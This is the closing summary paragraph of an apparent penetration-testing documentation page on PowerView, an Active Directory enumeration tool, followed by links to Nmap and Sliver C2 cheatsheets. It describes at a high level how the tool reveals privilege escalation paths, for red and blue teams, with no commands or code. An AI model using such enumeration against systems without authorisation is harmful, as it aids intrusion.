Takeaway: PowerView represents the most comprehensive and mature Active Directory enumeration framework available, transforming complex LDAP queries and Windows APIs into accessible PowerShell cmdlets. Its power lies not in exploiting vulnerabilities but in systematically revealing the security implications of AD's inherent complexity—nested groups, intricate ACLs, delegation configurations, and trust relationships that create unintended privilege escalation paths. For red teams, PowerView is essential for mapping attack paths; for blue teams, understanding PowerView's capabilities is crucial for defensive architecture, detection engineering, and threat hunting. Make PowerView enumeration techniques a core component of your Active Directory security assessment methodology, and ensure your monitoring infrastructure can detect and respond to its characteristic access patterns.
Last updated on
Nmap Cheatsheet
Essential Nmap commands and techniques for network scanning, service detection, OS fingerprinting, and vulnerability assessment in penetration testing.
Sliver C2 Cheatsheet
Complete cheatsheet for Sliver C2 framework covering payload generation, listeners, beaconing, sessions, and post-exploitation for red team operations.